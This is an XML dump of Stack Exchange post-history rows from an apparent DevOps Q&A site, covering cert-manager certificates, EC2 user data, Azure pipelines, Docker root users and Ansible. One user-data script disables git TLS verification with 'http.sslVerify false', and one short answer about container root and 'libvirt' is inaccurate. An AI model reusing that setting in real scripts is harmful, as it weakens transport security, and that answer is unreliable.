Logs**&#xD;&#xA;```&#xD;&#xA;$ kubectl describe certificates test-domain-com&#xD;&#xA;Name:         test-domain-com&#xD;&#xA;Namespace:    default&#xD;&#xA;Labels:       &lt;none&gt;&#xD;&#xA;Annotations:  kubectl.kubernetes.io/last-applied-configuration:&#xD;&#xA;                {&quot;apiVersion&quot;:&quot;cert-manager.io/v1alpha2&quot;,&quot;kind&quot;:&quot;Certificate&quot;,&quot;metadata&quot;:{&quot;annotations&quot;:{},&quot;name&quot;:&quot;test-domain-com&quot;,&quot;namespace&quot;:&quot;de...&#xD;&#xA;API Version:  cert-manager.io/v1alpha2&#xD;&#xA;Kind:         Certificate&#xD;&#xA;Metadata:&#xD;&#xA;  Creation Timestamp:  2020-01-30T17:49:12Z&#xD;&#xA;  Generation:          6&#xD;&#xA;  Owner References:&#xD;&#xA;    API Version:           extensions/v1beta1&#xD;&#xA;    Block Owner Deletion:  true&#xD;&#xA;    Controller:            true&#xD;&#xA;    Kind:                  Ingress&#xD;&#xA;    Name:                  ingress&#xD;&#xA;    UID:                   d31883d9-4388-11ea-84ec-469fd0fd8fec&#xD;&#xA;  Resource Version:        832245&#xD;&#xA;  Self Link:               /apis/cert-manager.io/v1alpha2/namespaces/default/certificates/test-domain-com&#xD;&#xA;  UID:                     d3222905-4388-11ea-84ec-469fd0fd8fec&#xD;&#xA;Spec:&#xD;&#xA;  Dns Names:&#xD;&#xA;    test.domain.com&#xD;&#xA;  Issuer Ref:&#xD;&#xA;    Group:      cert-manager.io&#xD;&#xA;    Kind:       ClusterIssuer&#xD;&#xA;    Name:       letsencrypt-staging&#xD;&#xA;  Secret Name:  test-domain-com&#xD;&#xA;Status:&#xD;&#xA;  Conditions:&#xD;&#xA;    Last Transition Time:  2020-01-30T18:12:41Z&#xD;&#xA;    Message:               Certificate is up to date and has not expired&#xD;&#xA;    Reason:                Ready&#xD;&#xA;    Status:                True&#xD;&#xA;    Type:                  Ready&#xD;&#xA;  Not After:               2020-04-29T17:12:40Z&#xD;&#xA;Events:&#xD;&#xA;  Type    Reason     Age   From          Message&#xD;&#xA;  ----    ------     ----  ----          -------&#xD;&#xA;  Normal  Requested  43m   cert-manager  Created new CertificateRequest resource &quot;test-domain-com-566504257&quot;&#xD;&#xA;  Normal  Issued     42m   cert-manager  Certificate issued successfully&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Describe Secret**&#xD;&#xA;```&#xD;&#xA;$ kubectl describe secret test-domain-com&#xD;&#xA;Name:         test-domain-com&#xD;&#xA;Namespace:    default&#xD;&#xA;Labels:       &lt;none&gt;&#xD;&#xA;Annotations:  cert-manager.io/alt-names: test.domain.com&#xD;&#xA;              cert-manager.io/certificate-name: test-domain-com&#xD;&#xA;              cert-manager.io/common-name: test.domain.com&#xD;&#xA;              cert-manager.io/ip-sans: &#xD;&#xA;              cert-manager.io/issuer-kind: ClusterIssuer&#xD;&#xA;              cert-manager.io/issuer-name: letsencrypt-staging&#xD;&#xA;              cert-manager.io/uri-sans: &#xD;&#xA;&#xD;&#xA;Type:  kubernetes.io/tls&#xD;&#xA;&#xD;&#xA;Data&#xD;&#xA;====&#xD;&#xA;ca.crt:   0 bytes&#xD;&#xA;tls.crt:  3566 bytes&#xD;&#xA;tls.key:  1675 bytes&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`ca.crt` is empty and not entirely sure if it should or shouldn't be. Looks like there is a [Github issue](https://github.com/jetstack/cert-manager/issues/2111) about it.&#xD;&#xA;&#xD;&#xA;**Errors in `cert-manager` log**&#xD;&#xA;```&#xD;&#xA;W0130 19:13:11.357728       1 client_config.go:543] Neither --kubeconfig nor --master was specified.  Using the inClusterConfig.  This might not work.&#xD;&#xA;E0130 19:14:21.811114       1 controller.go:230] cert-manager/controller/webhook-bootstrap/webhook-bootstrap/ca-secret &quot;msg&quot;=&quot;error decoding CA private key&quot; &quot;error&quot;=&quot;error decoding private key PEM block&quot; &quot;resource_kind&quot;=&quot;Secret&quot; &quot;resource_name&quot;=&quot;cert-manager-webhook-tls&quot; &quot;resource_namespace&quot;=&quot;cert-manager&quot; &#xD;&#xA;E0130 19:14:21.811257       1 controller.go:131] cert-manager/controller/webhook-bootstrap &quot;msg&quot;=&quot;re-queuing item  due to error processing&quot; &quot;error&quot;=&quot;error decoding private key PEM block&quot; &quot;key&quot;=&quot;cert-manager/cert-manager-webhook-tls&quot; &#xD;&#xA;rce_kind&quot;=&quot;Challenge&quot; &quot;resource_name&quot;=&quot;test-domain-com-566504257-1006673842-2382236481&quot; &quot;resource_namespace&quot;=&quot;default&quot; &quot;type&quot;=&quot;http-01&quot; &#xD;&#xA;E0130 19:16:21.262484       1 sync.go:184] cert-manager/controller/challenges &quot;msg&quot;=&quot;propagation check failed&quot; &quot;error&quot;=&quot;wrong status code '404', expected '200'&quot; &quot;dnsName&quot;=&quot;test.domain.com&quot; &quot;resource_kind&quot;=&quot;Challenge&quot; &quot;resource_name&quot;=&quot;test-domain-com-566504257-1006673842-2382236481&quot; &quot;resource_namespace&quot;=&quot;default&quot; &quot;type&quot;=&quot;http-01&quot; &#xD;&#xA;E0130 19:16:42.616965       1 controller.go:156] ingress 'default/cm-acme-http-solver-6xj55' in work queue no longer exists&#xD;&#xA;E0130 19:16:42.837328       1 sync.go:59] cert-manager/controller/orders &quot;msg&quot;=&quot;failed to update status&quot; &quot;error&quot;=null &quot;resource_kind&quot;=&quot;Order&quot; &quot;resource_name&quot;=&quot;test-domain-com-566504257-1006673842&quot; &quot;resource_namespace&quot;=&quot;default&quot; &#xD;&#xA;E0130 19:16:42.837364       1 controller.go:131] cert-manager/controller/orders &quot;msg&quot;=&quot;re-queuing item  due to error processing&quot; &quot;error&quot;=&quot;Operation cannot be fulfilled on orders.acme.cert-manager.io \&quot;test-domain-com-566504257-1006673842\&quot;: the object has been modified; please apply your changes to the latest version and try again&quot; &quot;key&quot;=&quot;default/test-domain-com-566504257-1006673842&quot; &#xD;&#xA;E0130 19:16:43.687987       1 controller.go:193] cert-manager/controller/challenges &quot;msg&quot;=&quot;challenge in work queue no longer exists&quot; &quot;error&quot;=&quot;challenge.acme.cert-manager.io \&quot;test-domain-com-566504257-1006673842-2382236481\&quot; not found&quot;  &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The only thing that jumped out to me was:&#xD;&#xA;&#xD;&#xA;`&quot;msg&quot;=&quot;error decoding CA private key&quot; &quot;error&quot;=&quot;error decoding private key PEM block&quot;`&#xD;&#xA;&#xD;&#xA;Tried to dumping browser cache, incognito mode, etc... still comes up HTTP or &quot;Not Secure&quot; with &quot;Fake LE Intermediate X1&quot; certificate when navigating to HTTPS.&#xD;&#xA;&#xD;&#xA;So what did I screwup/overlook this time and how do I resolve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32730" PostHistoryTypeId="50" PostId="9103" RevisionGUID="b40bef3a-01cc-4aaf-bb38-4a1d4aa553e9" CreationDate="2020-01-30T21:01:50.387" UserId="-1" />
  <row Id="32733" PostHistoryTypeId="2" PostId="10653" RevisionGUID="e43d82f8-66c6-4c34-bc25-2d9472c54fed" CreationDate="2020-01-30T21:19:48.330" UserId="11490" Text="Ok figured it out. It was due to using `staging` like so:&#xD;&#xA;```&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: ClusterIssuer&#xD;&#xA;metadata:&#xD;&#xA;  name: letsencrypt-staging&#xD;&#xA;  namespace: cert-manager&#xD;&#xA;spec:&#xD;&#xA;  acme:&#xD;&#xA;    server: https://acme-staging-v02.api.letsencrypt.org/directory&#xD;&#xA;    email: &lt;email&gt;&#xD;&#xA;    privateKeySecretRef:&#xD;&#xA;      name: letsencrypt-staging&#xD;&#xA;    solvers:&#xD;&#xA;      - http01:&#xD;&#xA;          ingress:&#xD;&#xA;            class: nginx&#xD;&#xA;```&#xD;&#xA;Changed it `prod` like so and that cleared up the issue:&#xD;&#xA;```&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: ClusterIssuer&#xD;&#xA;metadata:&#xD;&#xA;  name: letsencrypt-prod&#xD;&#xA;  namespace: cert-manager&#xD;&#xA;spec:&#xD;&#xA;  acme:&#xD;&#xA;    server: https://acme-v02.api.letsencrypt.org/directory&#xD;&#xA;    email: &lt;email&gt;&#xD;&#xA;    privateKeySecretRef:&#xD;&#xA;      name: letsencrypt-prod&#xD;&#xA;    solvers:&#xD;&#xA;      - http01:&#xD;&#xA;          ingress:&#xD;&#xA;            class: nginx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Apparently that is the expected behavior when using `staging` according to [this well written and accurate tutorial](https://www.digitalocean.com/community/tutorials/how-to-set-up-an-nginx-ingress-with-cert-manager-on-digitalocean-kubernetes).&#xD;&#xA;&#xD;&#xA;That being said I didn't initially think it worked. Even after a hard reload and empty cache + hard reload, HTTPS still wasn't working. Tried incognito and it worked, so closed all my browser instances, reopened, and HTTPS worked.&#xD;&#xA;&#xD;&#xA;And also, `certificate.yaml` was not necessary at all." ContentLicense="CC BY-SA 4.0" />
  <row Id="32734" PostHistoryTypeId="50" PostId="9084" RevisionGUID="0104c4d1-7358-4a84-a7f3-5e14f9171860" CreationDate="2020-01-30T22:00:50.317" UserId="-1" />
  <row Id="32735" PostHistoryTypeId="2" PostId="10654" RevisionGUID="32be14ab-35b5-430a-a93d-d8272dae317c" CreationDate="2020-01-30T22:21:06.150" UserId="19039" Text="I created a windows Ec2 instance with user data in it. In my ec2 instance I downlaoded git and installed it. Later in EC2 instance, I provided it with the user data which was supposed to download a git repository and place it in C: &#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;This is my user data in original EC2 instance.&#xD;&#xA;&#xD;&#xA;     &lt;powershell&gt;&#xD;&#xA;    Remove-Item C:\c -Recurse -ErrorAction Ignore&#xD;&#xA;    C:\&quot;Program Files&quot;\Git\bin\git.exe config --global http.sslVerify false&#xD;&#xA;    C:\&quot;Program Files&quot;\Git\bin\git.exe clone https://github.com/Rupesh2010/springboot-app.git /c&#xD;&#xA;    &lt;/powerhsell&gt;&#xD;&#xA;    &lt;persist&gt;true&lt;/persist&gt;&#xD;&#xA;&#xD;&#xA;The EC2 instance worked without any problem. Then I decided to create a custom AMI from it. I created one and launched another instance from it. I then tried to run the instance to which it ran succesfully. But then in the new EC2 instance that I created from custom AMI, the user data from the original EC2 instance was not executed. I tried changing the setting of EC2 instance which was found in C://programdata . I configured it to run user data on every boot. But then still user data was not executed. I am not sure what's going on here. Any help will be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="32736" PostHistoryTypeId="1" PostId="10654" RevisionGUID="32be14ab-35b5-430a-a93d-d8272dae317c" CreationDate="2020-01-30T22:21:06.150" UserId="19039" Text="User data in original windows ec2 instance does not get executed in custom ami" ContentLicense="CC BY-SA 4.0" />
  <row Id="32737" PostHistoryTypeId="3" PostId="10654" RevisionGUID="32be14ab-35b5-430a-a93d-d8272dae317c" CreationDate="2020-01-30T22:21:06.150" UserId="19039" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;amazon-ami&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32738" PostHistoryTypeId="5" PostId="10654" RevisionGUID="95da34e0-4ccf-4022-aaa6-e05284a7e734" CreationDate="2020-01-30T22:34:47.563" UserId="19039" Comment="i mistakenly provided personal information" Text="I created a windows Ec2 instance with user data in it. In my ec2 instance I downlaoded git and installed it. Later in EC2 instance, I provided it with the user data which was supposed to download a git repository and place it in C: &#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;This is my user data in original EC2 instance.&#xD;&#xA;&#xD;&#xA;     &lt;powershell&gt;&#xD;&#xA;    Remove-Item C:\c -Recurse -ErrorAction Ignore&#xD;&#xA;    C:\&quot;Program Files&quot;\Git\bin\git.exe config --global http.sslVerify false&#xD;&#xA;    C:\&quot;Program Files&quot;\Git\bin\git.exe clone https://github.com/(somename)/(someapp).git /c&#xD;&#xA;    &lt;/powerhsell&gt;&#xD;&#xA;    &lt;persist&gt;true&lt;/persist&gt;&#xD;&#xA;&#xD;&#xA;The EC2 instance worked without any problem. Then I decided to create a custom AMI from it. I created one and launched another instance from it. I then tried to run the instance to which it ran succesfully. But then in the new EC2 instance that I created from custom AMI, the user data from the original EC2 instance was not executed. I tried changing the setting of EC2 instance which was found in C://programdata . I configured it to run user data on every boot. But then still user data was not executed. I am not sure what's going on here. Any help will be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="32739" PostHistoryTypeId="2" PostId="10655" RevisionGUID="1b8c09e3-eeed-4c80-85da-9ed4abcb7110" CreationDate="2020-01-30T22:48:17.447" UserId="11490" Text="Basically, I want the pipeline to `apply` some manifests before deploying images from ACR. No images need to be made. It would just be things like applying the `issuer.yaml`, `ingress.yaml`, and maybe a few other things that need to be run before the `client` and `api` images are pulled from ACR.&#xD;&#xA;&#xD;&#xA;Was looking at the documentation here:&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/deploy/kubernetes-manifest?view=azure-devops#overview&#xD;&#xA;&#xD;&#xA;But just not really seeing what I need.&#xD;&#xA;&#xD;&#xA;Suggestions for how to do this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32740" PostHistoryTypeId="1" PostId="10655" RevisionGUID="1b8c09e3-eeed-4c80-85da-9ed4abcb7110" CreationDate="2020-01-30T22:48:17.447" UserId="11490" Text="Applying manifests in Azure DevOps pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="32741" PostHistoryTypeId="3" PostId="10655" RevisionGUID="1b8c09e3-eeed-4c80-85da-9ed4abcb7110" CreationDate="2020-01-30T22:48:17.447" UserId="11490" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32742" PostHistoryTypeId="2" PostId="10656" RevisionGUID="5caa263c-0bf6-4d1f-9627-ac0d6fc01834" CreationDate="2020-01-30T22:48:33.557" UserId="7837" Text="Is the root user in a Docker image/container the same as the root user of the machine? I am curious about the security implications of using the root user in the Docker image.&#xD;&#xA;&#xD;&#xA;TMK, the container is run by a non-root user which launched the docker-dameon. And the docker daemon launches the container process." ContentLicense="CC BY-SA 4.0" />
  <row Id="32743" PostHistoryTypeId="1" PostId="10656" RevisionGUID="5caa263c-0bf6-4d1f-9627-ac0d6fc01834" CreationDate="2020-01-30T22:48:33.557" UserId="7837" Text="Is the root user in a Docker image/container the same as the root user of the machine?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32744" PostHistoryTypeId="3" PostId="10656" RevisionGUID="5caa263c-0bf6-4d1f-9627-ac0d6fc01834" CreationDate="2020-01-30T22:48:33.557" UserId="7837" Text="&lt;docker&gt;&lt;docker-daemon&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32745" PostHistoryTypeId="2" PostId="10657" RevisionGUID="281f29ad-b021-437e-a706-bbe234f5b617" CreationDate="2020-01-30T22:53:08.570" UserId="11490" Text="Once again, come across the answer right after asking the question.&#xD;&#xA;&#xD;&#xA;Needed to look at the `Kubectl task` and not the `Kubernetes manifest task`. Particularly the [Commands section](https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/deploy/kubernetes?view=azure-devops#commands):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- task: Kubernetes@1&#xD;&#xA;  displayName: kubectl apply using arguments&#xD;&#xA;  inputs:&#xD;&#xA;    connectionType: Azure Resource Manager&#xD;&#xA;    azureSubscriptionEndpoint: $(azureSubscriptionEndpoint)&#xD;&#xA;    azureResourceGroup: $(azureResourceGroup)&#xD;&#xA;    kubernetesCluster: $(kubernetesCluster)&#xD;&#xA;    command: apply&#xD;&#xA;    arguments: -f mhc-aks.yaml&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32746" PostHistoryTypeId="50" PostId="5220" RevisionGUID="0d6ceb4e-5903-435d-b4e9-abab3f3c3335" CreationDate="2020-01-30T23:01:45.407" UserId="-1" />
  <row Id="32747" PostHistoryTypeId="50" PostId="9095" RevisionGUID="b8b5d3d4-741e-43f9-8a84-9f349f78e025" CreationDate="2020-01-31T00:02:20.417" UserId="-1" />
  <row Id="32748" PostHistoryTypeId="2" PostId="10658" RevisionGUID="7e81faee-e7eb-4d4c-8081-e1cead61f39b" CreationDate="2020-01-31T00:14:12.077" UserId="18178" Text="**Background**&#xD;&#xA;&#xD;&#xA;I have a docker container that I run in the following fashion:  &#xD;&#xA;&#xD;&#xA;`docker run --rm my-custom-container:latest --username me --password yes --url &quot;https://my.url&quot;`&#xD;&#xA;&#xD;&#xA;The container does what what it needs to do with no issues.&#xD;&#xA;&#xD;&#xA;I have pushed my container image to a private image repository, and I am able to create a Kubernetes deployment. Kubernetes is able to pull the container from the private image repository for the container with no problems.&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;However, when Kubernetes goes to start the container it returns with an error stating that it cannot run the container.&#xD;&#xA;&#xD;&#xA;This is due to a lack of parameters being passed to the container to run.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How do I pass parameters to my container during a Kubernetes deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32749" PostHistoryTypeId="1" PostId="10658" RevisionGUID="7e81faee-e7eb-4d4c-8081-e1cead61f39b" CreationDate="2020-01-31T00:14:12.077" UserId="18178" Text="How to pass parameters to a container orchestrated by Kubernetes similar to running the container at the command line using the docker run command?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32750" PostHistoryTypeId="3" PostId="10658" RevisionGUID="7e81faee-e7eb-4d4c-8081-e1cead61f39b" CreationDate="2020-01-31T00:14:12.077" UserId="18178" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;configuration&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32751" PostHistoryTypeId="5" PostId="10656" RevisionGUID="b2581c18-9b99-4a70-9a03-5acafc12ee6b" CreationDate="2020-01-31T00:26:34.217" UserId="7837" Comment="added 44 characters in body" Text="Is the root user in a Docker image/container the same as the root user of the machine? I am curious about the security implications of using the root user in the Docker image.&#xD;&#xA;&#xD;&#xA;TMK, the container is run by a non-root user (often the user is called &quot;docker&quot;) and that user launched the docker-dameon. And the docker daemon launches the container process." ContentLicense="CC BY-SA 4.0" />
  <row Id="32752" PostHistoryTypeId="50" PostId="3708" RevisionGUID="3e641b64-52af-431f-89ff-bef5b9b2cf8c" CreationDate="2020-01-31T01:01:25.197" UserId="-1" />
  <row Id="32754" PostHistoryTypeId="2" PostId="10659" RevisionGUID="0bfbde76-e5f5-4430-81cf-e41625fc8f9b" CreationDate="2020-01-31T07:06:09.137" UserId="19415" Text="I planned to use _docker-compose_ and a few scripts to manage the deployment of my app on staging and production.&#xD;&#xA;My idea was to use one `docker-compose.yml` with one `.env` file for each environment. In those `.env` files I would have set some specific values and the version of the different images that compose my application.&#xD;&#xA;&#xD;&#xA;But then I discovered _Ansible_ and it looks like my few scripts powered by a community of experts. So I started to investigate it and I would like to use it. &#xD;&#xA;&#xD;&#xA;Based on the best practices, I can easily imagine having a standard directory layout[1] with the one inventory for each environment. And a couple of roles. &#xD;&#xA;&#xD;&#xA;However, I have no idea how to manage the versions; how to describe which version is executed in one environment?&#xD;&#xA;&#xD;&#xA;Ideally, I would like to find a simple solution where my CI can update this version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1] https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#directory-layout" ContentLicense="CC BY-SA 4.0" />
  <row Id="32755" PostHistoryTypeId="1" PostId="10659" RevisionGUID="0bfbde76-e5f5-4430-81cf-e41625fc8f9b" CreationDate="2020-01-31T07:06:09.137" UserId="19415" Text="How to manage images versions via docker-compose with Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="32756" PostHistoryTypeId="3" PostId="10659" RevisionGUID="0bfbde76-e5f5-4430-81cf-e41625fc8f9b" CreationDate="2020-01-31T07:06:09.137" UserId="19415" Text="&lt;ansible&gt;&lt;docker-compose&gt;&lt;environments&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32757" PostHistoryTypeId="5" PostId="10629" RevisionGUID="8f7b5691-b7e6-42b7-8c2a-0fb4c84ba1ef" CreationDate="2020-01-31T08:02:27.987" UserId="10715" Comment="added 44 characters in body" Text="While someone with knowledge about the innards of GitLab may have known what the error pointed to, it took me some time and bisecting my revision history to find the root cause.&#xD;&#xA;&#xD;&#xA;I had introduced a Jinja2 conditional like this in the inlined YAML for LDAP servers:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;gitlab_rails['ldap_servers'] = YAML.load &lt;&lt;-EOS # remember to close this block with 'EOS' below&#xD;&#xA;main: # 'main' is the GitLab 'provider ID' of this LDAP server&#xD;&#xA;  somekey: somevalue&#xD;&#xA;  {% if some_variable is defined %}&#xD;&#xA;  key: value&#xD;&#xA;  {% endif %}&#xD;&#xA;EOS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The `# remember to close this block with 'EOS' below` remark isn't the only caveat you have to worry about here. Indentation is too, as I found out.&#xD;&#xA;&#xD;&#xA;Provided the condition became true, the about would have evaluated to:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;gitlab_rails['ldap_servers'] = YAML.load &lt;&lt;-EOS # remember to close this block with 'EOS' below&#xD;&#xA;main: # 'main' is the GitLab 'provider ID' of this LDAP server&#xD;&#xA;  somekey: somevalue&#xD;&#xA;    key: value&#xD;&#xA;  EOS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;... where the additional indentation tripped up the YAML parser and caused the unspecific error symptoms (and message).&#xD;&#xA;&#xD;&#xA;Hope this helps someone else to avoid a lengthy analysis of the cause, if they run into a similar condition." ContentLicense="CC BY-SA 4.0" />
  <row Id="32758" PostHistoryTypeId="2" PostId="10660" RevisionGUID="e22c8184-428f-4736-be54-ce1a24cb1015" CreationDate="2020-01-31T08:07:31.880" UserId="17679" Text="Use the following source code for copy multiple files on your client machine.&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;      - name: Copy data to the client machine&#xD;&#xA;        hosts: hostname&#xD;&#xA;        become_method: sudo&#xD;&#xA;        become_user: root&#xD;&#xA;        become: true&#xD;&#xA;        tasks: &#xD;&#xA;          # Copy twice as sometimes files get skipped (mostly only one file skipped from a folder if the folder does not exist)&#xD;&#xA;          - name: Copy UFO-Server &#xD;&#xA;            copy:&#xD;&#xA;              src: &quot;source files path&quot;&#xD;&#xA;              dest: &quot;destination file path&quot;&#xD;&#xA;              owner: root&#xD;&#xA;              group: root&#xD;&#xA;              mode: 0644&#xD;&#xA;              backup: yes&#xD;&#xA;            ignore_errors: true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note: &#xD;&#xA; &#xD;&#xA;   1. If you are passing multiple paths by using variable then &#xD;&#xA;       &#xD;&#xA;      src:  &quot;/root/{{ item }}&quot;&#xD;&#xA;&#xD;&#xA;   2. If you are passing path by using a variable for different items then&#xD;&#xA;      &#xD;&#xA;      src:  &quot;/root/{{ item.source_path }}&quot; &#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="32759" PostHistoryTypeId="5" PostId="10618" RevisionGUID="bceee504-b025-44f9-bd07-d776f91126c6" CreationDate="2020-01-31T08:25:49.447" UserId="707" Comment="added 33 characters in body" Text="From the &quot;how it should properly work&quot;/&quot;how it was meant&quot; perspective there is no real &quot;DevOps engineer&quot; because DevOps is a methodology/culture which emphasizes also on technical practices which should stretch across as many roles as possible and feasible.&#xD;&#xA;&#xD;&#xA;How can we apply the CALMS (Culture, Automation, Lean, Measure, Share) mantra here? (Taking into approach that depending on factors like maturity, complexity and resources in the context, approaches need to be adapted to what helps to solve problems in an efficient and sustainable way)&#xD;&#xA;&#xD;&#xA;* Requirements engineer: can I automatically qualify maturity of requirements and track their delivery?&#xD;&#xA;* Software engineer: what is required to run my software in test either productive environment?&#xD;&#xA;* Architect: can I have a big picture based on live metrics?&#xD;&#xA;* Tester: can I create virtual temporary infrastructure to support execution of my code?&#xD;&#xA;* System administrator: how can I better organize my help desk / 1st user support and leverage self-help / automation solutions?&#xD;&#xA;&#xD;&#xA;Somebody with a wish to focus on the methodology itself will be somewhere in-between all these guys and obviously become &quot;jack of all trades, master of none&quot;. &#xD;&#xA;&#xD;&#xA;Given this, my consideration how I would approach your customers' inquiries could be:&#xD;&#xA;&#xD;&#xA;1. Please follow the instructions to setup VPN in this Wiki/code from this Git repo and if it's not working, document/show steps you have taken.&#xD;&#xA;2. Please share more details on the context (here is not clear who owns which parts).&#xD;&#xA;3. Let's allocate time to develop emergency plan for immediate action if required and also run scaling tests on a test system to model experiments, collect data and finally learn under which circumstances the performance problems appear. Then, we will know why it is happening. :-)&#xD;&#xA;4. Follow from 3.? What does mean schedule from your perspective and if you mean regular execution, how often? So please let's go back to previous item :-)&#xD;&#xA;5. Possibly, have you got more specs which infrastructure option (Cloud, on premises) should we use for that and what and what are you going to do? Here is a link to generic infrastructure planner, let's allocate time to discuss what is specific for Spark/Hadoop here and how will delivery to it look like.&#xD;&#xA;&#xD;&#xA;6. If identity management is not part of our architecture, let's assess what are you going to do. An outcome could be that you include creation of users to your database scripts. &#xD;&#xA;&#xD;&#xA;So the bottom line in DevOps culture regarding the role boundary is:&#xD;&#xA;&#xD;&#xA;- professional communication first&#xD;&#xA;- the boundary is to set boundaries inviting people to a professional conversation between adults, to get more conscious on both sides (!) about requirements, responsibilities and goals. Not just thinking in solutions and delegation but also make a plan and assess risks. &#xD;&#xA;&#xD;&#xA;Therefore seasoned and successful professionals who are today maybe 50+ yrs old say sometimes jokingly &quot;we have been doing DevOps from the very beginning&quot; and partly, they are right.&#xD;&#xA;&#xD;&#xA;To conclude and highlight and reflect on the real-world existence of such job-role, organizations who do not have a DevOps culture proceed to define DevOps roles as the following, for example:&#xD;&#xA;&#xD;&#xA;* DevOps engineer is an advanced systems administrator who can code up the infrastructure and automate it completely.&#xD;&#xA;* DevOps engineer is a tools administrator with coding skills to support the Dev team and ensure delivery towards production (CI/CD, deployment scripting but also Jira administration)&#xD;&#xA;* DevOps engineer is a developer focusing on including infrastructure elements into development, like containers and cloud APIs.&#xD;&#xA;&#xD;&#xA;After all, many companies still look for the &quot;full stack engineer&quot; who should obviously become additionally the DevOps engineer (along with &quot;AI/ML,  blockchain and foobar&quot;).&#xD;&#xA;&#xD;&#xA;Finally, the role boundary, possibly not only in the DevOps context, but in this special context indeed very likely:&#xD;&#xA;&#xD;&#xA;- is also in your responsibility&#xD;&#xA;- may change between projects and employers or just from time to time." ContentLicense="CC BY-SA 4.0" />
  <row Id="32763" PostHistoryTypeId="4" PostId="10617" RevisionGUID="b829d8f1-2bb3-4774-92b2-4944f27a5ee7" CreationDate="2020-01-31T13:01:37.723" UserId="707" Comment="edited title" Text="What is the boundary of DevOps engineer job role?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32764" PostHistoryTypeId="2" PostId="10662" RevisionGUID="f72781de-3736-4c43-bead-fa603c520eb4" CreationDate="2020-01-31T13:42:49.263" UserId="18637" Text="No the root in container is a root-user of container. Remember containers runs isolated.&#xD;&#xA;DOcker uses cgroups and libvirt of kernel linux." ContentLicense="CC BY-SA 4.0" />
  <row Id="32765" PostHistoryTypeId="2" PostId="10663" RevisionGUID="626e98a4-57e7-4f55-903a-9aefd5f354d8" CreationDate="2020-01-31T14:43:58.177" UserId="11880" Text="Rootless container builds without using a docker daemon are possible using the [Buildah and Podman][1] utilities.&#xD;&#xA;&#xD;&#xA;N.B. Podman has vendored in the Buildah library so it's all Buildah under the covers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developers.redhat.com/blog/2019/02/21/podman-and-buildah-for-docker-users/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32766" PostHistoryTypeId="2" PostId="10664" RevisionGUID="22675b0d-9f37-466e-8f17-0d7fdda439a0" CreationDate="2020-01-31T14:58:39.457" UserId="19423" Text="I created some showcase for monorepo with [Gradle](https://gradle.org/) as build tool&#xD;&#xA;and [CircleCI](https://circleci.com/) or [Bitbucket pipelines](https://bitbucket.org/product/features/pipelines) as CI tool.&#xD;&#xA;&#xD;&#xA;It's based on the same ideas as in accepted answer and I used similar setup in two projects till now.&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;https://github.com/zladovan/monorepo&#xD;&#xA;&#xD;&#xA;Gradle specific stuff should be replaceable quite easily by something else. Just change `tools/ci/core/list-dependencies.sh`." ContentLicense="CC BY-SA 4.0" />
  <row Id="32767" PostHistoryTypeId="2" PostId="10665" RevisionGUID="ee367f58-d3d8-437f-b67d-2ede0a1b6386" CreationDate="2020-01-31T18:47:27.013" UserId="4328" Text="I'm looking for an option similar to Jenkins where I can view the last build, last successful build, last failed build, etc. with a simple api call. The Jenkins example would be:&#xD;&#xA;&#xD;&#xA;    jenkins_url + /job/${job_name}/lastBuild/&#xD;&#xA;&#xD;&#xA;Does Github Actions offer anything comparable to this? " ContentLicense="CC BY-SA 4.0" />
  <row Id="32768" PostHistoryTypeId="1" PostId="10665" RevisionGUID="ee367f58-d3d8-437f-b67d-2ede0a1b6386" CreationDate="2020-01-31T18:47:27.013" UserId="4328" Text="Github Actions Last Build API" ContentLicense="CC BY-SA 4.0" />
